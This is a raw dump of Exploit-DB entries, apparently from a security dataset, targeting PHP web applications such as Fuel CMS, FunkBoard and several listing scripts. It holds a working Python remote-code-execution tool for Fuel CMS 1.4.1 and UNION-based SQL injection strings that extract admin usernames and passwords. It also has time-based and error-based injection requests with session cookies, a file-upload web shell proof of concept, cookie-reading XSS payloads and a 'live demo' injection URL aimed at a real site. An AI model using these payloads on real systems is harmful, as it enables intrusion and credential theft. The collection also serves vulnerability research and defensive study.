deardaniel/secdata-raw huggingface dataset:
Exploit-DB #50477
Description: Fuel CMS 1.4.1 - Remote Code Execution (3)
Type: webapps
Platform: php
Date: 2021-11-03
Author: Padsala Trushal

Exploit:
# Exploit Title: Fuel CMS 1.4.1 - Remote Code Execution (3)
# Exploit Author: Padsala Trushal
# Date: 2021-11-03
# Vendor Homepage: https://www.getfuelcms.com/
# Software Link: https://github.com/daylightstudio/FUEL-CMS/releases/tag/1.4.1
# Version: <= 1.4.1
# Tested on: Ubuntu - Apache2 - php5
# CVE : CVE-2018-16763

#!/usr/bin/python3

import requests
from urllib.parse import quote
import argparse
import sys
from colorama import Fore, Style

def get_arguments():
	parser = argparse.ArgumentParser(description='fuel cms fuel CMS 1.4.1 - Remote Code Execution Exploit',usage=f'python3 {sys.argv[0]} -u <url>',epilog=f'EXAMPLE - python3 {sys.argv[0]} -u http://10.10.21.74')

	parser.add_argument('-v','--version',action='version',version='1.2',help='show the version of exploit')

	parser.add_argument('-u','--url',metavar='url',dest='url',help='Enter the url')

	args = parser.parse_args()

	if len(sys.argv) <=2:
		parser.print_usage()
		sys.exit()
	
	return args


args = get_arguments()
url = args.url 

if "http" not in url:
	sys.stderr.write("Enter vaild url")
	sys.exit()

try:
   r = requests.get(url)
   if r.status_code == 200:
       print(Style.BRIGHT+Fore.GREEN+"[+]Connecting..."+Style.RESET_ALL)


except requests.ConnectionError:
    print(Style.BRIGHT+Fore.RED+"Can't connect to url"+Style.RESET_ALL)
    sys.exit()

while True:
	cmd = input(Style.BRIGHT+Fore.YELLOW+"Enter Command $"+Style.RESET_ALL)
		
	main_url = url+"/fuel/pages/select/?filter=%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29%2b%24%61%28%27"+quote(cmd)+"%27%29%2b%27"

	r = requests.get(main_url)

	#<div style="border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;">

	output = r.text.split('<div style="border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;">')
	print(output[0])
	if cmd == "exit":
		break
Exploit-DB #50523
Description: Fuel CMS 1.4.13 - 'col' Blind SQL Injection (Authenticated)
Type: webapps
Platform: php
Date: 2021-11-15
Author: Rahad Chowdhury

Exploit:
# Exploit Title: Fuel CMS 1.4.13 - 'col' Blind SQL Injection (Authenticated)
# Date: 2021-04-11
# Exploit Author: Rahad Chowdhury
# Vendor Homepage: https://www.getfuelcms.com/
# Software Link: https://github.com/daylightstudio/FUEL-CMS/archive/1.4.13.zip
# Version: 1.4.13
# Tested on: Kali Linux, PHP 7.4.16, Apache 2.4.46

Steps to Reproduce:
1. At first login your panel
2. then go to "Activity Log" menu
3. then select any type option
4. their "col" parameter is vulnerable. Let's try to inject Blind SQL Injection using this query "and (select * from(select(sleep(1)))a)" in "col=" parameter.

POC:
http://127.0.0.1/fuel/logs/items?type=debug&search_term=&limit=50&view_type=list&offset=0&order=desc&col=entry_date
and (select * from(select(sleep(1)))a)&fuel_inline=0

Output:
By issuing sleep(0) response will be delayed to 0 seconds.
By issuing sleep(1) response will be delayed to 1 seconds.
By issuing sleep(5) response will be delayed to 5 seconds.
By issuing sleep(10) response will be delayed to 10 seconds
Exploit-DB #48741
Description: Fuel CMS 1.4.7 - 'col' SQL Injection (Authenticated)
Type: webapps
Platform: php
Date: 2020-08-11
Author: Roel van Beurden

Exploit:
# Exploit Title: Fuel CMS 1.4.7 - 'col' SQL Injection (Authenticated)
# Google Dork: -
# Date: 2020-08-01
# Exploit Author: Roel van Beurden
# Vendor Homepage: https://www.getfuelcms.com/
# Software Link: https://github.com/daylightstudio/FUEL-CMS/archive/1.4.7.zip
# Version: 1.4.7
# Tested on: Linux Ubuntu 18.04
# CVE: CVE-2020-17463


1. Description:
----------------------

Fuel CMS 1.4.7 allows SQL Injection via parameter 'col' in pages/items, permissions/items, navigation/items and logs/items
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.


2. Proof of Concept:
----------------------

In Burpsuite intercept the request from one of the affected pages with 'col' parameter and save it like fuel.req
Then run SQLmap to extract the data from the database:

sqlmap -r fuel.req --risk=3 --level=5 --dbs --random-agent


3. Example payload:
----------------------

(time-based blind)

/fuelcms/pages/items/?search_term=&published=&layout=&limit=50&view_type=list&offset=0&order=asc&col=location+AND+(SELECT+1340+FROM+(SELECT(SLEEP(5)))ULQV)&fuel_inline=0


4. Burpsuite request:
----------------------

GET /fuelcms/pages/items/?search_term=&published=&layout=&limit=50&view_type=list&offset=0&order=asc&col=location%20AND%20(SELECT%201340%20FROM%20(SELECT(SLEEP(5)))ULQV)&fuel_inline=0 HTTP/1.1

Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close

Cookie: ci_session=2pvc8gmus9he9fbesp3lkhlbc7oal188; fuel_eeed351bf4de904070ff77c1aef15576=a%3A2%3A%7Bs%3A2%3A%22id%22%3Bs%3A1%3A%221%22%3Bs%3A8%3A%22language%22%3Bs%3A7%3A%22english%22%3B%7D; fuel_ui_eeed351bf4de904070ff77c1aef15576=%2528%257Bleftnav_h3%253A%25220%257C0%257C0%257C0%2522%252C%2520fuel_permissions_items%253A%2522list%2522%252C%2520fuel_pages_items%253A%2522list%2522%252C%2520leftnav_hide%253A%25220%2522%252C%2520tabs_ms_assets_create%253A%25220%2522%252C%2520tabs_ms_assets_create_5a47396a63773d3d%253A%25220%2522%252C%2520tabs_ms_assets_create_5a47396a637939305a584e30%253A%25220%2522%252C%2520tabs_ms_assets_create_615731685a32567a%253A%25220%2522%252C%2520fuel_navigation_items%253A%2522list%2522%257D%2529

Upgrade-Insecure-Requests: 1


5. Timeline:
----------------------

2020-08-01: SQLi vulnerability found in Fuel CMS 1.4.7
2020-08-02: Reported vulnerability to vendor
2020-08-11: Vendor has patched the SQLi vulnerability in version 1.4.8
Exploit-DB #48778
Description: Fuel CMS 1.4.8 - 'fuel_replace_id' SQL Injection (Authenticated)
Type: webapps
Platform: php
Date: 2020-08-31
Author: c0mpu7er

Exploit:
# Exploit Title: Fuel CMS 1.4.8 - 'fuel_replace_id' SQL Injection (Authenticated)
# Date: 2020-08-19
# Exploit Author: c0mpu7er（@ymbank.cn）
# Vendor Homepage: https://www.getfuelcms.com/
# Software Link: https://github.com/daylightstudio/FUEL-CMS/archive/1.4.8.zip
# Version: 1.4.7
# Tested on: PHP 5.4.45, Apache 2.4.23 ,mysql 5.0


1. Description:
----------------------

FUEL CMS 1.4.8 allows SQL Injection via parameter 'fuel_replace_id' in pages/replace/1
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.


2. Proof of Concept:
----------------------

In Burpsuite intercept the request from one of the affected pages with 'fuel_replace_id' parameter and save it like 33.txt
Then run SQLmap to extract the data from the database:

python sqlmap.py -r 33.txt --dbs

3.Example payload:

Content-Disposition: form-data; name="fuel_replace_id"

11%27



4. Burpsuite request payload:
----------------------

POST /FUEL-CMS-1.4.8/fuel/pages/replace/1?inline=1 HTTP/1.1
Host: 192.168.1.12
Content-Length: 347
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.1.12
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygI1zKZoBINTcL87g
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.12/FUEL-CMS-1.4.8/fuel/pages/replace/1?lang=english
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: fuel_ac82b68172fd46789948eb8e66216180=a%3A2%3A%7Bs%3A2%3A%22id%22%3Bs%3A1%3A%221%22%3Bs%3A8%3A%22language%22%3Bs%3A0%3A%22%22%3B%7D; fuel_ui_ac82b68172fd46789948eb8e66216180=%257B%2522leftnav_h3%2522%253A%25220%257C0%257C0%257C0%2522%252C%2522fuel_pages_items%2522%253A%2522list%2522%252C%2522tabs_pages_create%2522%253A%25220%2522%252C%2522fuel_navigation_items%2522%253A%2522list%2522%252C%2522tabs_navigation_create%2522%253A%25220%2522%252C%2522tabs_pages_edit_1%2522%253A%25220%2522%257D; ci_session=db8df72tccrt8vnr2uaqnckv5ak4n135
Connection: close

------WebKitFormBoundarygI1zKZoBINTcL87g
Content-Disposition: form-data; name="fuel_replace_id"

11*
------WebKitFormBoundarygI1zKZoBINTcL87g
Content-Disposition: form-data; name="Submit"

Submit
------WebKitFormBoundarygI1zKZoBINTcL87g
Content-Disposition: form-data; name="fuel_inline"

1
------WebKitFormBoundarygI1zKZoBINTcL87g--
5. Timeline:
----------------------

2020-08-20: SQLi vulnerability found in Fuel CMS 1.4.8
2020-08-20: Reported vulnerability to vendor
2020-08-22: Vendor has patched the SQLi vulnerability in version 1.4.9
Exploit-DB #50884
Description: Fuel CMS 1.5.0 - Cross-Site Request Forgery (CSRF)
Type: webapps
Platform: php
Date: 2022-04-19
Author: Ali J

Exploit:
# Exploit Title: Fuel CMS 1.5.0 - Cross-Site Request Forgery (CSRF)# Google Dork: NA
# Date: 11/03/2022
# Exploit Author: Ali J
# Vendor Homepage: https://www.getfuelcms.com/
# Software Link: https://github.com/daylightstudio/FUEL-CMS/releases/tag/1.5.0
# Version: 1.5.0
# Tested on: Windows 10

Steps to Reproduce:
1. Login with user 1 and navigate to localhost/FUEL-CMS/fuel/sitevariables
2. Select any variable, click on delete button and select "yes, delete it". Intercept this request and generate a CSRF POC for this. After that drop the request.
3. Login with user 2 in a seperate browser and execute the CSRF POC. 
4. Observe that the site variable has been deleted. To confirm, login with user 1 again and observe that the variable has been deleted from site variables.
Exploit-DB #6659
Description: Full PHP Emlak Script - 'arsaprint.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-10-03
Author: Hussin X

Exploit:
|___________________________________________________|
|
| Full PHP Emlak Script (arsaprint.php id) Remote SQL Injection Vulnerability
|
|___________________________________________________
|--------------------    Hussin X  -------------------|
|
|    Author: Hussin X
|
|    Home :  WwW.IQ-ty.CoM
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|
|
|___________________________________________________
|                                                                                                     |
|
| script : http://php.arsivimiz.com/Kategoriler/PHP/alisveris
| 
| DorK   : :)
|___________________________________________________|

Exploit:  
________



www.[target].com/Script/arsaprint.php?id=-9+union+select+version(),2,3,user(),database(),version(),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77--




L!VE DEMO:
_________


http://www.ozsarigrup.com/arsaprint.php?id=-9+union+select+version(),2,3,user(),database(),version(),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77--




____________________________( Greetz )_________________________________
|
|    All members of the Forum WwW.IQ-ty.CoM |  WwW.TrYaG.CC |
|
|  My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr
|
|    Ghost Hacker | FAHD | Iraqihack | jiko | str0ke | Cyber-Zone | Sakab
|_____________________________________________________________________


                   Im IRAQi    |    Im TrYaG I

# milw0rm.com [2008-10-03]
Exploit-DB #32309
Description: Full PHP Emlak Script - 'landsee.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-08-29
Author: Hussin X

Exploit:
source: https://www.securityfocus.com/bid/30962/info

Full PHP Emlak Script is prone to an SQL-injection vulnerability because it fails to properly sanitize user-supplied input.

Attackers may exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/Script/landsee.php?id=-9+union+select+1,2,3,concat(username,0x3a,sifre),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75+FROM+admin--
Exploit-DB #13831
Description: Full Site for Restaurant - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-11
Author: L0rd CrusAd3r

Exploit:
Vendor url:http://www.mformula.com.br/
Greetz to:Sid3^effects, MaYur, M4n0j, Dark Blue, S1ayer,d3c0d3r,KD and to
all ICW & AH members.
Spl Greetz to:inj3ct0r.com Team

#####################################################################################################################################################################################################

Description:

* Full Site for Restaurant SQL Injection Vulnerability *

Internal system for total administration of the site, Available site in the
languages Portuguese, Español, English, Japanese, French, Italian and
German, Unlimited Extra Pages and Sub Pages, Menu OnLine, Unlimited Gallery
of Photos Code: PHP 5.0
#######################################################################################################################################################################################################

Vulnerability:

*SQLi Vulnerability

DEMO URL :

http://server/?lang=[sqli]

http://server/extrapage.php?cat_id=[sqli]

# 0day n0 m0re #

-- 
With R3gards,
L0rd CrusAd3r
Exploit-DB #41266
Description: Fully Featured News CMS 1.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2017-02-07
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: NewsBee - Fully Featured News CMS Script v1.0 - SQL Injection
# Google Dork: N/A
# Date: 07.02.2017
# Vendor Homepage: http://nelliwinne.net/
# Software Buy: https://codecanyon.net/item/newsbee-fully-featured-news-cms-with-bootstrasp-php-mysql/19404937
# Demo: http://demos.nelliwinne.net/NewsBee/
# Version: 1.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/video.php?id=[SQL]
# -9999'+/*!50000union*/+select+1,concat_ws(un,0x3c62723e,0x3c62723e,pw),3,4,5,6,7+from+admin-- -
# Etc....Other files have vulnerabilities ...
# # # # #
Exploit-DB #5243
Description: Fully Modded phpBB - 'kb.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-03-12
Author: TurkishWarriorr

Exploit:
# Powered by phpBB Â© 2001, 2006 phpBB Group
# Modified by Fully Modded phpBB Â© 2002, 2006
#
#########################################################################
#
# AUTHOR : TurkishWarriorr
#
# HOME : http://www.1923turk.org
#
#########################################################################
#
# DORKS 1 : allinurl :kb.php?mode=article&k
# DORKS 2 : article&k=
# DORKS 3 : "Powered by phpBB Â© 2001, 2006 phpBB Group"  "Modified by Fully Modded phpBB Â© 2002, 2006"
#
##########################################################################
EXPLOIT :

kb.php?mode=article&k=-1+union+select+1,1,concat(user_id,char(58),username,char(58),user_password),4,5,6,7,8,9,10,11,12,13+from+phpbb_users+where+user_id+=2&page_num=2&cat=1


##########################################################################
                               www.1923turk.org                     
                        turkish-warriorr@hotmail.com

# milw0rm.com [2008-03-12]
Exploit-DB #51753
Description: Fundraising Script 1.0 - SQLi
Type: webapps
Platform: php
Date: 2024-01-29
Author: nu11secur1ty

Exploit:
## Title: Fundraising Script-1.0 SQLi
## Author: nu11secur1ty
## Date: 09/13/2023
## Vendor: https://www.phpjabbers.com/
## Software: https://www.phpjabbers.com/fundraising-script/#sectionDemo
## Reference: https://portswigger.net/web-security/sql-injection

## Description:
The `cid` parameter appears to be vulnerable to SQL injection attacks.
The payload ' was submitted in the cid parameter, and a database error
message was returned.
The database is empty, but if it is not, this will be over for the
money of the donors and their bank accounts!
The attacker can steal all information from the database!

[+]Payload:
mysql

Parameter: cid (GET)
    Type: error-based
    Title: MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)
    Payload: controller=pjFront&action=pjActionLoadCampaign&cid=(UPDATEXML(1741,CONCAT(0x2e,0x71626b7071,(SELECT
(ELT(1741=1741,1))),0x[PII_REDACTED]),3873))

https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/phpjabbers/2023/Fundraising-Script-1.0

System Administrator - Infrastructure Engineer
Penetration Testing Engineer
nu11secur1ty <http://nu11secur1ty.com/>
Exploit-DB #37500
Description: Funeral Script PHP - Cross-Site Scripting / SQL Injection
Type: webapps
Platform: php
Date: 2012-06-17
Author: snup

Exploit:
source: https://www.securityfocus.com/bid/54402/info

Funeral Script PHP is prone to multiple cross-site scripting vulnerabilities and multiple SQL-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

SQL-injection:

http://www.example.com/funeral_script.php?hide_cat=[SQL-INJECTION]
http://www.example.com/funeralscript/admin.php?act=obituaries&orderType=[ASC/DESC]&search=&orderBy=[SQL-INJECTION]
http://www.example.com/funeralscript/admin.php?act=comments&obit_id=&orderType=[ASC/DESC]&search=&orderBy=[SQL-INJECTION]
http://www.example.com/funeralscript/admin.php?act=comments&obit_id=&orderType=[SQL-INJECTION]
http://www.example.com/funeralscript/admin.php?act=obituaries&orderType=[SQL-INJECTION]


Cross-site scripting:

http://www.example.com/funeralscript/admin.php?act=obituaries&orderType=[ASC/DESC]&search=&orderBy=[Cross Site Scripting]
http://www.example.com/funeralscript/admin.php?act=obituaries&orderType=[ASC/DESC]&search=[Cross Site Scripting]
http://www.example.com/funeralscript/admin.php?act=obituaries&orderType=[Cross Site Scripting]
http://www.example.com/funeralscript/admin.php?act=comments&obit_id=&orderType=[ASC/DESC]&search=&orderBy=[Cross Site Scripting]
http://www.example.com/funeralscript/admin.php?act=comments&obit_id=[Cross Site Scripting]&orderType=[ASC/DESC]&search=[Cross Site Scripting]
http://www.example.com/funeralscript/admin.php?act=comments&obit_id=&orderType=[Cross Site Scripting]
http://www.example.com/funeralscript/admin.php?act=comments&obit_id=-1%[Cross Site Scripting]
http://www.example.com/funeral_script.php?id=1&p=[Cross Site Scripting]%3C&search=[Cross Site Scripting]
http://www.example.com/funeral_script.php?hide_cat=[Cross Site Scripting]
Exploit-DB #27275
Description: FunGamez - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2013-08-02
Author: cr4wl3r

Exploit:
# FunGamez Remote File Upload Vulnerability
# Brought to you by cr4wl3r http://bastardlabs.info
# Software Link: http://sourceforge.net/projects/fg-gsm/?source=dlp
-----------------------------------------------
Source [FunGamez]/admin/modules/game.php

..........
135    </table></form><?php
136 }
137 Else If ( $mode == 'newsave' )
138 {
139   If ( $_FILES['src_upload']['name'] != '' && $_POST['src_link'] != '' ) { header('Location: ./index.php?admin&module=game&mode=new&msg=doublesrc'); die(); }
140   If ( ( $_FILES['src_upload']['name'] == '' && $_POST['src_link'] == '' ) || $_POST['name'] == '' ) { header('Location: ./index.php?admin&module=game&mode=new&msg=reqg'); die(); }
141   If ( $_FILES['src_upload']['name'] != '' )
142   {
143      $src = $_FILES['src_upload']['name'];
144	  move_uploaded_file($_FILES['src_upload']['tmp_name'], './data/flash/'.$_FILES['src_upload']['name']);
145   }
..........


Proof of concept:

<form action="http://localhost/[FunGamez]/index.php?admin&module=game&mode=newsave" method="POST" enctype="multipart/form-data">
<input type="text" name="name" value="blablablablabla" /><br>
<input type="file" name="src_upload" /><br>
<input type="submit" value="w00tw00t" />

And your shell will be available here:

http://localhost/[FunGamez]/data/flash/shell.php

-----------------------------------------------

// Gorontalo 31 Juli 2013
Exploit-DB #26117
Description: FunkBoard 0.66 - 'editpost.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-08-08
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/14507/info

FunkBoard is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/funkboard/editpost.php?fbusername="><script>alert(document.cookie)</script>
http://www.example.com/funkboard/editpost.php?fbpassword="><script>alert(document.cookie)</script>
Exploit-DB #26119
Description: FunkBoard 0.66 - 'newtopic.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-08-08
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/14507/info
  
FunkBoard is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/funkboard/newtopic.php?forumid=1&fbusername="><script>alert(document.cookie)</script>
http://www.example.com/funkboard/newtopic.php?forumid=1&fbpassword="><script>alert(document.cookie)</script>
http://www.example.com/funkboard/newtopic.php?forumid=1&subject="><script>alert(document.cookie)</script>
Exploit-DB #26118
Description: FunkBoard 0.66 - 'prefs.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-08-08
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/14507/info
 
FunkBoard is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/funkboard/prefs.php?fbpassword="><script>alert(document.cookie)</script>
http://www.example.com/funkboard/prefs.php?fbusername="><script>alert(document.cookie)</script>